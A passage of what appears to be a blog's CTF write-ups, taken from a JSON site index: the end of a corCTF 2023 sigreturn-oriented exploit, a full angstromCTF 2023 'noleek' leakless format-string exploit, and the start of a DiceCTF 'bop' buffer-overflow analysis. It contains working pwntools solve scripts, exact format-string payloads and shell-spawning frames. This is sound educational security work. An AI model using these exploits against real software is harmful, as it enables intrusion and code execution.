&lt;note_read+1&gt; mov rbp, rsp 0x8000cc3 &lt;note_read+4&gt; sub rsp, 0x128 0x8000cca &lt;note_read+11&gt; push rbx 0x8000ccb &lt;note_read+12&gt; movzx eax, BYTE PTR [rdi+0xa0] 0x8000cd2 &lt;note_read+19&gt; cmp eax, 0x0 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500 [#0] Id 1, Name: &quot;harem&quot;, stopped 0x8000cbf in note_read (), reason: BREAKPOINT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500 [#0] 0x8000cbf \u2192 note_read() [#1] 0x8000a08 \u2192 main() \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 gef\u27a4 grep foobar [+] Searching &apos;foobar&apos; in memory [+] In &apos;\/home\/alex\/harem-scarem\/harem&apos;(0x80000000-0x80007000), permission=rw- 0x80006471 - 0x80006479 \u2192 &quot;foobar\\n&quot; [+] In (0x7f004652c000-0x7f004692c000), permission=rw- 0x7f004652c031 - 0x7f004652c037 \u2192 &quot;foobar&quot; [+] In &apos;[stack]&apos;(0x7ffe18dc3000-0x7ffe18de4000), permission=rw- 0x7ffe18de2429 - 0x7ffe18de242f \u2192 &quot;foobar&quot; gef\u27a4 vm [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000000007fff000 0x000000000801b000 0x0000000000000000 r-x \/home\/alex\/harem-scarem\/harem 0x0000000080000000 0x0000000080007000 0x000000000001c000 rw- \/home\/alex\/harem-scarem\/harem 0x0000000080007000 0x0000000080010000 0x0000000000000000 rw- 0x00007f004652c000 0x00007f004692c000 0x0000000000000000 rw- 0x00007ffe18dc3000 0x00007ffe18de4000 0x0000000000000000 rw- [stack] 0x00007ffe18df6000 0x00007ffe18dfa000 0x0000000000000000 r-- [vvar] 0x00007ffe18dfa000 0x00007ffe18dfc000 0x0000000000000000 r-x [vdso] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall] Implementation I started to implement the exploit. One problem that I ran into was that the sigreturn frame was much bigger than the maximum length of a note&rsquo;s contents. It might have been possible to split the frame over multiple notes, but I figured that it was easier to place the frame at a fixed address together with the \/bin\/sh string and stack pivot to it. I got the exploit to work with some minor debugging and obtained the flag.\nSolve script with comments added:\n#!\/usr\/bin\/env python3 import subprocess from pwn import * exe = ELF(&#34;.\/harem&#34;) context.binary = exe if args.REMOTE: r = remote(&#34;be.ax&#34;, 32564) # Solve the proof of work. r.recvuntil(b&#34;sh -s &#34;) powval = r.recvlineS(keepends=False) r.sendlineafter(b&#34;solution: &#34;, subprocess.run([&#34;.\/redpwnpow-linux-amd64&#34;, powval], capture_output=True).stdout) log.info(&#34;solved pow&#34;) else: r = process([exe.path]) if args.GDB: gdb.attach(r) sigreturn_gadget = 0x801a4ac # leave; ret; # For stack pivoting. leave_gadget = 0x80009e2 syscall_gadget = 0x801a444 # Set the note index to an out-of-bound value. # Send and receive separately to make it faster on a slow internet connection. for _ in range(246): r.sendline(b&#34;2&#34;) for _ in range(246): r.recvuntil(b&#34;&gt; &#34;) # Overwrite the return address and saved rbp of main to stack pivot to the payload below. r.sendlineafter(b&#34;&gt; &#34;, b&#34;3&#34;) r.sendlineafter(b&#34;title: &#34;, b&#34;&#34;) # The saved rbp is overwritten with 0x80006468, which is 8 bytes before the start of the payload. # The leave instruction at the end of main will pop this address into rbp. # The return address is overwritten with the address of a leave gadget, # which will move the address from rbp into rsp and pop into rbp so that rsp points to the payload. # The payload address is found by inputting a random string and then searching for it with GEF&#39;s grep command. r.sendlineafter(b&#34;content: &#34;, b&#34;A&#34; * 14 + p64(0x80006468) + p64(leave_gadget)) # Reset the note index back to 0 to avoid overwriting the stuff that was just written. for _ in range(10): r.sendline(b&#34;2&#34;) for _ in range(10): r.recvuntil(b&#34;&gt; &#34;) # Construct sigreturn frame that sets the registers up for an execve call. frame = SigreturnFrame() # Address of \/bin\/sh string at the end of the payload frame.rdi = 0x80006570 frame.rsi = 0 frame.rdx = 0 frame.rax = constants.SYS_execve frame.rip = syscall_gadget payload = p64(sigreturn_gadget) + bytes(frame) + b&#34;\/bin\/sh\\0&#34; # Insert the payload into memory at 0x80006470. r.sendlineafter(b&#34;&gt; &#34;, b&#34;3&#34;) r.sendlineafter(b&#34;title: &#34;, b&#34;&#34;) # Add some padding since stuff at the beginning might get overwritten. r.sendlineafter(b&#34;content: &#34;, b&#34;B&#34; * 32 + payload) # Cause main to return. r.sendlineafter(b&#34;&gt; &#34;, b&#34;6&#34;) r.interactive() Output:\n[alex@ctf harem-scarem]$ .\/solve.py REMOTE [*] &apos;\/home\/alex\/harem-scarem\/harem&apos; Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x7fff000) RWX: Has RWX segments [+] Opening connection to be.ax on port 32564: Done [*] solved pow [*] Switching to interactive mode $ ls flag.txt run $ cat flag.txt corctf{sur3ly_th15_t1m3_17_w1ll_k1ll_c!!} Note that while the script does not use any of the output received from the target program, removing the recvuntil calls and using sendline instead of sendlineafter will break the exploit since the input data will be buffered differently.\n","permalink":"https:\/\/www.alexyzhang.dev\/write-ups\/corctf-2023\/harem-scarem\/","summary":"Sigreturn-oriented programming with a quirky language","title":"corCTF 2023 \u2013 pwn\/harem-scarem"},{"content":"The Challenge My code had a couple of pesky format string vulnerabilities that kept getting exploited&hellip;I&rsquo;m sure it&rsquo;ll fix itself if I just compile with RELRO and take away output&hellip;\nWe&rsquo;re given a binary with source code:\n#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define LEEK 32 void cleanup(int a, int b, int c) {} int main(void) { setbuf(stdout, NULL); FILE* leeks = fopen(&#34;\/dev\/null&#34;, &#34;w&#34;); if (leeks == NULL) { puts(&#34;wtf&#34;); return 1; } printf(&#34;leek? &#34;); char inp[LEEK]; fgets(inp, LEEK, stdin); fprintf(leeks, inp); printf(&#34;more leek? &#34;); fgets(inp, LEEK, stdin); fprintf(leeks, inp); printf(&#34;noleek.\\n&#34;); cleanup(0, 0, 0); return 0; } [fedora@fedora noleek]$ file noleek noleek: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=07cfd746eba1468d59b47bae05e6420b85696e4b, for GNU\/Linux 3.2.0, not stripped [fedora@fedora noleek]$ checksec noleek [*] &apos;\/home\/fedora\/noleek\/noleek&apos; Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled There are two fprintf calls with format strings that we control, but they go to \/dev\/null so we don&rsquo;t get any of the output. There&rsquo;s also full RELRO and PIE, so we have to overwrite the return address instead of the GOT in order to redirect execution.\nI first checked if there is a usable one gadget:\n[fedora@fedora noleek]$ one_gadget libc.so.6 0xc961a execve(&quot;\/bin\/sh&quot;, r12, r13) constraints: [r12] == NULL || r12 == NULL [r13] == NULL || r13 == NULL 0xc961d execve(&quot;\/bin\/sh&quot;, r12, rdx) constraints: [r12] == NULL || r12 == NULL [rdx] == NULL || rdx == NULL 0xc9620 execve(&quot;\/bin\/sh&quot;, rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL [fedora@fedora noleek]$ gdb noleek_patched ... gef\u27a4 disas main Dump of assembler code for function main: ... 0x0000000000001273 &lt;+222&gt;: mov edx,0x0 0x0000000000001278 &lt;+227&gt;: mov esi,0x0 0x000000000000127d &lt;+232&gt;: mov edi,0x0 0x0000000000001282 &lt;+237&gt;: call 0x1185 &lt;cleanup&gt; 0x0000000000001287 &lt;+242&gt;: mov eax,0x0 0x000000000000128c &lt;+247&gt;: leave 0x000000000000128d &lt;+248&gt;: ret End of assembler dump. gef\u27a4 b *main+248 Breakpoint 1 at 0x128d gef\u27a4 r Starting program: \/home\/fedora\/noleek\/noleek_patched ... leek? foo more leek? bar noleek. Breakpoint 1, 0x000055555555528d in main () [ Legend: Modified register | Code | Heap | Stack | String ] \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500 $rax : 0x0 $rbx : 0x0 $rcx : 0x00007ffff7ee1833 \u2192 0x5577fffff0003d48 (&quot;H=&quot;?) $rdx : 0x0 $rsp : 0x00007fffffffe0f8 \u2192 0x00007ffff7e18d0a \u2192 &lt;__libc_start_main+234&gt; mov edi, eax $rbp : 0x0000555555555290 \u2192 &lt;__libc_csu_init+0&gt; push r15 $rsi : 0x0 $rdi : 0x0 $rip : 0x000055555555528d \u2192 &lt;main+248&gt; ret $r8 : 0x8 $r9 : 0x4 $r10 : 0x000055555555601b \u2192 &quot;more leek? &quot; $r11 : 0x246 $r12 : 0x00005555555550a0 \u2192 &lt;_start+0&gt; xor ebp, ebp $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 stack \u2500\u2500\u2500\u2500 0x00007fffffffe0f8\u2502+0x0000: 0x00007ffff7e18d0a \u2192 &lt;__libc_start_main+234&gt; mov edi, eax \u2190 $rsp 0x00007fffffffe100\u2502+0x0008: 0x00007fffffffe1e8 \u2192 0x00007fffffffe492 \u2192 &quot;\/home\/fedora\/noleek\/noleek_patched&quot; 0x00007fffffffe108\u2502+0x0010: 0x0000000100000000 0x00007fffffffe110\u2502+0x0018: 0x0000555555555195 \u2192 &lt;main+0&gt; push rbp 0x00007fffffffe118\u2502+0x0020: 0x00007ffff7e187cf \u2192 mov rbp, rax 0x00007fffffffe120\u2502+0x0028: 0x0000000000000000 0x00007fffffffe128\u2502+0x0030: 0xaa9bed2528a457b0 0x00007fffffffe130\u2502+0x0038: 0x00005555555550a0 \u2192 &lt;_start+0&gt; xor ebp, ebp \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:x86:64 \u2500\u2500\u2500\u2500 0x555555555282 &lt;main+237&gt; call 0x555555555185 &lt;cleanup&gt; 0x555555555287 &lt;main+242&gt; mov eax, 0x0 0x55555555528c &lt;main+247&gt; leave \u2192 0x55555555528d &lt;main+248&gt; ret \u21b3 0x7ffff7e18d0a &lt;__libc_start_main+234&gt; mov edi, eax 0x7ffff7e18d0c &lt;__libc_start_main+236&gt; call 0x7ffff7e30660 &lt;exit&gt; 0x7ffff7e18d11 &lt;__libc_start_main+241&gt; mov rax, QWORD PTR [rsp] 0x7ffff7e18d15 &lt;__libc_start_main+245&gt; lea rdi, [rip+0x171d0c] # 0x7ffff7f8aa28 0x7ffff7e18d1c &lt;__libc_start_main+252&gt; mov rsi, QWORD PTR [rax] 0x7ffff7e18d1f &lt;__libc_start_main+255&gt; xor eax, eax \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500 [#0] Id 1, Name: &quot;noleek_patched&quot;, stopped 0x55555555528d in main (), reason: BREAKPOINT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500 [#0] 0x55555555528d \u2192 main() \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 The last one gadget has its constraints satisfied when main returns, so it looks like we need to compute the address of this one gadget and the address of the return address using format strings. The good news is that since the fprintf calls output to \/dev\/null, we can write a ton of data and it won&rsquo;t take forever.\nAdding Numbers with Format Strings The usual way do arbitrary write using format strings is to output a number of characters equal to the value that needs to be written using a format specifier with a minimum width like %42c. Then, the %n format specifier can be used to write the value to some address in a register or on the stack. If we can make fprintf output a number of characters equal to some value in the registers or memory, we would be able to add something to that value by outputting additional characters and then write the sum using %n.\nI read the documentation from cppreference.com and the glibc manual, but I couldn&rsquo;t figure out how to do this and got stuck for a while. I guessed that there might be a way to specify a variable field width, so I searched up &ldquo;printf variable width&rdquo; and found this Stack Overflow answer. It turns out that an asterisk can be used for the field width like %*c and the value will be taken from an argument. This was mentioned in the docs, but I missed it. A small caveat is that the value will be interpreted as a signed integer and its absolute value will be used if it&rsquo;s negative so this would only work around half of the time.\nI came up with a plan:\nFind a pointer on the stack which points to a stack pointer on the stack. Use the first fprintf to read the four lower bytes of a stack pointer, add the offset to the address of the return address, and write that to the lower four bytes of an existing stack pointer on the stack using the pointer from step 1. Use the second fprintf to read the four lower bytes of a libc pointer, add the offset to the address of the one gadget, and write that to the lower four bytes of the return address of main using the pointer to the return address created in step 2. Note that the return address of main should already be in libc. Creating a Pointer to the Return Address Initially, I didn&rsquo;t know how the variable field width works with POSIX positional arguments. I thought that maybe %9$*c would take the width from the 9th argument and the value from the 10th argument. There was a stack pointer on the stack at the position of the 9th argument, so I tried %9$*c and it seemed to work except that the resulting value was a little different than what I expected. It turns out that the width is just the next unused argument and there happened to be a stack pointer in the argument registers, so just %*c would work. Right before the first fprintf call, there&rsquo;s a stack pointer pointing to another stack pointer at rsp + 0x40, which corresponds to the 13th argument.\ngef\u27a4 deref 0x00007fffffffe0c0\u2502+0x0000: 0x000000000a6f6f66 (&quot;foo\\n&quot;?) \u2190 $rdx, $rsp, $rsi, $r8 0x00007fffffffe0c8\u2502+0x0008: 0x0000000000000000 0x00007fffffffe0d0\u2502+0x0010: 0x0000555555555290 \u2192 &lt;__libc_csu_init+0&gt; push r15 0x00007fffffffe0d8\u2502+0x0018: 0x00005555555550a0 \u2192 &lt;_start+0&gt; xor ebp, ebp 0x00007fffffffe0e0\u2502+0x0020: 0x00007fffffffe1e0 \u2192 0x0000000000000001 0x00007fffffffe0e8\u2502+0x0028: 0x000055555555b2a0 \u2192 0x00000000fbad2484 0x00007fffffffe0f0\u2502+0x0030: 0x0000555555555290 \u2192 &lt;__libc_csu_init+0&gt; push r15 \u2190 $rbp 0x00007fffffffe0f8\u2502+0x0038: 0x00007ffff7e18d0a \u2192 &lt;__libc_start_main+234&gt; mov edi, eax 0x00007fffffffe100\u2502+0x0040: 0x00007fffffffe1e8 \u2192 0x00007fffffffe491 \u2192 &quot;\/home\/fedora\/noleek\/noleek_patched&quot; 0x00007fffffffe108\u2502+0x0048: 0x0000000100000000 I calculated the offset and was able to write the address of the return address onto the stack with %1$56c%*c%13$n. The %1$56c outputs 56 characters, then the %*c outputs a number of characters equal to the lower four bytes of the stack pointer in rdx which is equal to rsp. Now the number of characters outputted is the lower four bytes of rsp + 56, which is the address of the return address. The %13$n writes this value to the location pointed to by the 13th argument, overwriting the lower four bytes of the existing stack pointer on the stack. GDB and GEF confirm that the value pointed to by the stack pointer at rsp + 0x40 is now a pointer to the return address:\ngef\u27a4 deref 0x00007ffe010d4320\u2502+0x0000: &quot;%42c%42$n\\n&quot; \u2190 $rdx, $rsp, $rsi, $r8 0x00007ffe010d4328\u2502+0x0008: 0x000a6e2433000a6e (&quot;n\\n&quot;?) 0x00007ffe010d4330\u2502+0x0010: 0x000055ba5459b290 \u2192 &lt;__libc_csu_init+0&gt; push r15 0x00007ffe010d4338\u2502+0x0018: 0x000055ba5459b0a0 \u2192 &lt;_start+0&gt; xor ebp, ebp 0x00007ffe010d4340\u2502+0x0020: 0x00007ffe010d4440 \u2192 0x0000000000000001 0x00007ffe010d4348\u2502+0x0028: 0x000055ba554402a0 \u2192 0x00000000fbad2c84 0x00007ffe010d4350\u2502+0x0030: 0x000055ba5459b290 \u2192 &lt;__libc_csu_init+0&gt; push r15 \u2190 $rbp 0x00007ffe010d4358\u2502+0x0038: 0x00007f980b405d0a \u2192 &lt;__libc_start_main+234&gt; mov edi, eax 0x00007ffe010d4360\u2502+0x0040: 0x00007ffe010d4448 \u2192 0x00007ffe010d4358 \u2192 0x00007f980b405d0a \u2192 &lt;__libc_start_main+234&gt; mov edi, eax 0x00007ffe010d4368\u2502+0x0048: 0x0000000100000000 Overwriting the Return Address Now that there&rsquo;s a pointer to the return address on the stack, we can overwrite the return address with the second fprintf. The pointer to the return address is at rsp + 0x128, which is the 42nd argument. As a test, I put %42c%42$n for the second fprintf to write 42 to the lower four bytes of the return address. After the call, GDB shows that we have successfully overwrote those bytes with 42, which is 0x2a in hex:\n0x00007ffc57b78de0\u2502+0x0000: &quot;%42c%42$n\\n&quot; \u2190 $rsp 0x00007ffc57b78de8\u2502+0x0008: 0x000a6e2433000a6e (&quot;n\\n&quot;?) 0x00007ffc57b78df0\u2502+0x0010: 0x0000556b035b4290 \u2192 &lt;__libc_csu_init+0&gt; push r15 0x00007ffc57b78df8\u2502+0x0018: 0x0000556b035b40a0 \u2192 &lt;_start+0&gt; xor ebp, ebp 0x00007ffc57b78e00\u2502+0x0020: 0x00007ffc57b78f00 \u2192 0x0000000000000001 0x00007ffc57b78e08\u2502+0x0028: 0x0000556b03bb92a0 \u2192 0x00000000fbad2c84 0x00007ffc57b78e10\u2502+0x0030: 0x0000556b035b4290 \u2192 &lt;__libc_csu_init+0&gt; push r15 \u2190 $rbp 0x00007ffc57b78e18\u2502+0x0038: 0x00007f6b0000002a (&quot;*&quot;?) Next, we have to calculate the one gadget address. The closest libc pointer is the original return address of main, which is the 12th argument. I therefore tried doing %c%c%c%c%c%c%c%c%c%c%678156c%*c%42$n. The part before the %*c consumes 11 arguments and outputs 678166 bytes, which is the offset to the one gadget. The %*c adds this to the original return address and the %42$n overwrites the return address with the result&hellip; except it didn&rsquo;t work.\nAfter some debugging, I figured out that the format string was just too long. It had to be at most 31 characters because the inp buffer is 32 characters long, and my payload is 36 characters.\nFormat String Golfing I tried to think of ways to consume arguments using less characters than %c. %*c consumes two arguments using only three characters, but it outputs a variable amount of characters so it wouldn&rsquo;t work there. I also found a Trail of Bits paper which suggested using multiple asterisks followed by a digit like %*****1c, but that seemed to be outdated and didn&rsquo;t work with the version of glibc here. I thought that maybe there is some other quirk in the format string parsing code that I could exploit, so I decided to try reading the glibc source code.\nI found the format string parsing code after some digging around. This is the code that handles variable width format specifies:\n\/* Get width from argument. *\/ LABEL (width_asterics): { const UCHAR_T *tmp; \/* Temporary value. *\/ tmp = ++f; if (ISDIGIT (*tmp)) { int pos = read_int (&amp;tmp); if (pos == -1) { __set_errno (EOVERFLOW); done = -1; goto all_done; } if (pos &amp;&amp; *tmp == L_(&#39;$&#39;)) \/* The width comes from a positional parameter. *\/ goto do_positional; } width = va_arg (ap, int); \/* Negative width means left justified. *\/ if (width &lt; 0) { width = -width; pad = L_(&#39; &#39;); left = 1; } } JUMP (*f, step1_jumps); This part looks interesting:\nif (pos &amp;&amp; *tmp == L_(&#39;$&#39;)) \/* The width comes from a positional parameter. *\/ goto do_positional; It looks like there&rsquo;s a way to specify the width argument with a positional argument! When the code finds a positional argument, it switches to a different parser. Here&rsquo;s the variable field width code from that parser:\nif (*format == L_(&#39;*&#39;)) { \/* The field width is given in an argument. A negative field width indicates left justification. *\/ const UCHAR_T *begin = ++format; if (ISDIGIT (*format)) { \/* The width argument might be found in a positional parameter. *\/ n = read_int (&amp;format); if (n != 0 &amp;&amp; *format == L_(&#39;$&#39;)) { if (n != -1) { spec-&gt;width_arg = n - 1; *max_ref_arg = MAX (*max_ref_arg, n); } ++format; \/* Skip &#39;$&#39;. *\/ } } if (spec-&gt;width_arg &lt; 0) { \/* Not in a positional parameter. Consume one argument. *\/ spec-&gt;width_arg = posn++; ++nargs; format = begin; \/* Step back and reread. *\/ } } So instead of consuming arguments with %c, we can just use %*12$c and that will use the 12th argument as the width. Now the second format string can be shortened to %*12$c%678166c%42$n, and after a few tries I was able to get a shell:\n[fedora@fedora noleek]$ .\/solve.py REMOTE [*] &apos;\/home\/fedora\/noleek\/noleek_patched&apos; Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RUNPATH: b&apos;.&apos; [*] &apos;\/home\/fedora\/noleek\/libc.so.6&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] &apos;\/home\/fedora\/noleek\/ld-linux-x86-64.so.2&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to challs.actf.co on port 31400: Done [*] Switching to interactive mode $ ls $ ls $ ls noleek. flag.txt run flag.txt run flag.txt run $ cat flag.txt actf{t0_l33k_0r_n0t_t0_l33k_th4t_1s_th3_qu3sti0n} Here&rsquo;s the solve script, which simply solves the POW and then sends the two format strings:\n#!\/usr\/bin\/env python3 import subprocess from pwn import * exe = ELF(&#34;noleek_patched&#34;) libc = ELF(&#34;libc.so.6&#34;) ld = ELF(&#34;ld-linux-x86-64.so.2&#34;) context.binary = exe if args.REMOTE: r = remote(&#34;challs.actf.co&#34;, 31400) r.recvuntil(b&#34;work: &#34;) cmd = r.recvlineS() r.sendafter(b&#34;solution: &#34;, subprocess.run(cmd, shell=True, capture_output=True).stdout) else: r = process([exe.path]) if args.GDB: gdb.attach(r, &#34;b *main+205\\nb *main+248\\nc&#34;) r.sendlineafter(b&#34;leek? &#34;, b&#34;%1$56c%*c%13$n&#34;) r.sendlineafter(b&#34;leek? &#34;, b&#34;%*12$c%678166c%42$n&#34;) r.interactive() While writing this write-up, I found out that the syntax which allows variable widths to be specified using positional arguments is mentioned in the POSIX standard and the Stack Overflow answer right after the one that I read.\n","permalink":"https:\/\/www.alexyzhang.dev\/write-ups\/angstromctf-2023\/noleek\/","summary":"Leakless format string exploitation","title":"\u00e5ngstromCTF 2023 \u2013 noleek"},{"content":"The Challenge The challenge source is available at https:\/\/github.com\/dicegang\/dicectf-2023-challenges\/tree\/main\/pwn\/bop. We were provided with a binary, a Dockerfile, and no challenge description. I did the usual setup with pwninit, which says it failed to unstrip libc for some reason, although it doesn&rsquo;t seem to cause any issues.\n[ctf@fedora-ctf bop]$ file bop bop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=f2afdf22115cea090713fcfdee969d64fcce8d63, for GNU\/Linux 3.2.0, stripped [ctf@fedora-ctf bop]$ checksec bop [*] &apos;\/home\/ctf\/bop\/bop&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [ctf@fedora-ctf bop]$ cat Dockerfile FROM pwn.red\/jail:0.3.1 COPY --from=ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999 \/ \/srv COPY flag.txt \/srv\/app\/ COPY bop \/srv\/app\/run [ctf@fedora-ctf bop]$ podman run -it --rm -v .:\/app:Z -w \/app ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999 Resolved &quot;ubuntu&quot; as an alias (\/etc\/containers\/registries.conf.d\/000-shortnames.conf) Trying to pull docker.io\/library\/ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999... Getting image source signatures Copying blob b549f31133a9 done Copying config e40cf56b4b done Writing manifest to image destination Storing signatures root@0fed93dc6680:\/app# ldd bop linux-vdso.so.1 (0x00007ffd925d5000) libseccomp.so.2 =&gt; \/lib\/x86_64-linux-gnu\/libseccomp.so.2 (0x00007fa0737da000) libc.so.6 =&gt; \/lib\/x86_64-linux-gnu\/libc.so.6 (0x00007fa0735e8000) \/lib64\/ld-linux-x86-64.so.2 (0x00007fa073800000) root@0fed93dc6680:\/app# cp \/lib\/x86_64-linux-gnu\/libseccomp.so.2 \/lib\/x86_64-linux-gnu\/libc.so.6 \/lib64\/ld-linux-x86-64.so.2 . root@0fed93dc6680:\/app# exit exit [ctf@fedora-ctf bop]$ pwninit --bin bop --libc libc.so.6 --ld ld-linux-x86-64.so.2 bin: bop libc: libc.so.6 ld: ld-linux-x86-64.so.2 unstripping libc https:\/\/launchpad.net\/ubuntu\/+archive\/primary\/+files\/\/libc6-dbg_2.31-0ubuntu9.9_amd64.deb warning: failed unstripping libc: libc deb error: failed to find file in data.tar copying bop to bop_patched running patchelf on bop_patched writing solve.py stub Note that the binary has partial RELRO, no canary, and no PIE. Decompiling the main function in Ghidra results in this:\nvoid main(void) { char buffer [32]; setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); setbuf(stderr,(char *)0x0); printf(&#34;Do you bop? &#34;); gets(buffer); return; } So we have an unlimited stack buffer overflow, which should be pretty easy to exploit if there are useful gadgets. I noticed that there were some other functions, and after poking around a little bit I found this:\nvoid FUN_00401216(void) { int load_result; undefined8 seccomp_policy; seccomp_policy = seccomp_init(0); seccomp_rule_add(seccomp_policy,0x7fff0000,2,0); seccomp_rule_add(seccomp_policy,0x7fff0000,0,0); seccomp_rule_add(seccomp_policy,0x7fff0000,1,0); seccomp_rule_add(seccomp_policy,0x7fff0000,0x3c,0); seccomp_rule_add(seccomp_policy,0x7fff0000,0xe7,0); load_result = seccomp_load(seccomp_policy); if (load_result &lt; 0) { perror(&#34;seccomp_load&#34;); \/* WARNING: Subroutine does not return *\/ exit(1); } return; } The function sets up seccomp with a policy that allows read, write, open, exit, and exit_group. I guessed that this is a constructor function which is automatically called before main, and I set a breakpoint on the function in gdb to make sure that it actually gets called:\n[ctf@fedora-ctf bop]$ gdb bop_patched ... gef\u27a4 b *0x401216 Breakpoint 1 at 0x401216 gef\u27a4 r ... Breakpoint 1, 